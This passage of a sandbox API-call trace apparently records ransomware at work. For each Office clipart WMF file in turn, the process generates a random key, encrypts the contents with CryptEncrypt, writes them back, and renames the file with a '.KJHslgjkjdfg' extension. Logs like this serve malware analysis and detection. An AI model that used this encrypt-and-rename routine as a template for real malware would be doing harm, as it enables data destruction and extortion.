dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.932] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xdf0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xdf0, lpOverlapped=0x0) returned 1 [0193.932] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.932] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xec4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.932] SetEndOfFile (hFile=0x130) returned 1 [0193.935] GetProcessHeap () returned 0x990000 [0193.935] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.935] GetProcessHeap () returned 0x990000 [0193.935] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.935] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf.kjhslgjkjdfg")) returned 1 [0193.937] CloseHandle (hObject=0x130) returned 1 [0193.937] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x258c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107468.WMF", cAlternateFileName="")) returned 1 [0193.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.938] GetProcessHeap () returned 0x990000 [0193.938] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.938] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.938] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.938] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.940] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.940] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.940] GetProcessHeap () returned 0x990000 [0193.940] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.940] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.940] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.940] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.940] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.941] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.941] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.941] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.941] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.941] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.941] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.941] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.941] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x258c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x258c, lpOverlapped=0x0) returned 1 [0193.942] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2590, dwBufLen=0x2590 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2590) returned 1 [0193.942] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.942] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2590, lpOverlapped=0x0) returned 1 [0193.943] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.943] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2664, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.943] SetEndOfFile (hFile=0x130) returned 1 [0193.945] GetProcessHeap () returned 0x990000 [0193.945] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.945] GetProcessHeap () returned 0x990000 [0193.945] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.945] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107468.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107468.wmf.kjhslgjkjdfg")) returned 1 [0193.947] CloseHandle (hObject=0x130) returned 1 [0193.947] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1788, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107480.WMF", cAlternateFileName="")) returned 1 [0193.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.948] GetProcessHeap () returned 0x990000 [0193.948] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.948] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.948] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.948] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.950] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.950] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.950] GetProcessHeap () returned 0x990000 [0193.950] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.950] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.950] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.950] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.950] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.950] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.951] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.951] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.951] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.951] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.951] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.951] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.951] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1788, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1788, lpOverlapped=0x0) returned 1 [0193.952] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1790, dwBufLen=0x1790 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1790) returned 1 [0193.952] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.952] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1790, lpOverlapped=0x0) returned 1 [0193.952] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.952] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1864, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.952] SetEndOfFile (hFile=0x130) returned 1 [0193.955] GetProcessHeap () returned 0x990000 [0193.955] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.955] GetProcessHeap () returned 0x990000 [0193.955] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.955] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf.kjhslgjkjdfg")) returned 1 [0193.957] CloseHandle (hObject=0x130) returned 1 [0193.957] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1374, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107482.WMF", cAlternateFileName="")) returned 1 [0193.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.958] GetProcessHeap () returned 0x990000 [0193.958] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.958] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.958] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.958] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0193.961] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.961] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.961] GetProcessHeap () returned 0x990000 [0193.961] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.961] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.961] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.961] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.961] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.961] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.961] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.961] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.962] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.962] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.962] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.962] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.962] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1374, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1374, lpOverlapped=0x0) returned 1 [0193.963] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1380, dwBufLen=0x1380 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1380) returned 1 [0193.963] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.963] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1380, lpOverlapped=0x0) returned 1 [0193.963] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.963] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.963] SetEndOfFile (hFile=0x130) returned 1 [0193.965] GetProcessHeap () returned 0x990000 [0193.965] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.965] GetProcessHeap () returned 0x990000 [0193.965] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.965] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf.kjhslgjkjdfg")) returned 1 [0193.966] CloseHandle (hObject=0x130) returned 1 [0193.966] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbe0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107484.WMF", cAlternateFileName="")) returned 1 [0193.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.968] GetProcessHeap () returned 0x990000 [0193.968] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.968] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.968] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.968] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.968] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.968] GetProcessHeap () returned 0x990000 [0193.968] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.968] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.968] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.968] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.970] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.970] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.970] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.970] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.970] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.971] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.971] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.971] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.971] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xbe0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xbe0, lpOverlapped=0x0) returned 1 [0193.971] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xbe0, dwBufLen=0xbe0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xbe0) returned 1 [0193.971] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.971] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xbe0, lpOverlapped=0x0) returned 1 [0193.971] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.971] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xcb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.971] SetEndOfFile (hFile=0x130) returned 1 [0193.972] GetProcessHeap () returned 0x990000 [0193.972] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.972] GetProcessHeap () returned 0x990000 [0193.972] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.972] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf.kjhslgjkjdfg")) returned 1 [0193.974] CloseHandle (hObject=0x130) returned 1 [0193.974] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107488.WMF", cAlternateFileName="")) returned 1 [0193.974] CreateFileW 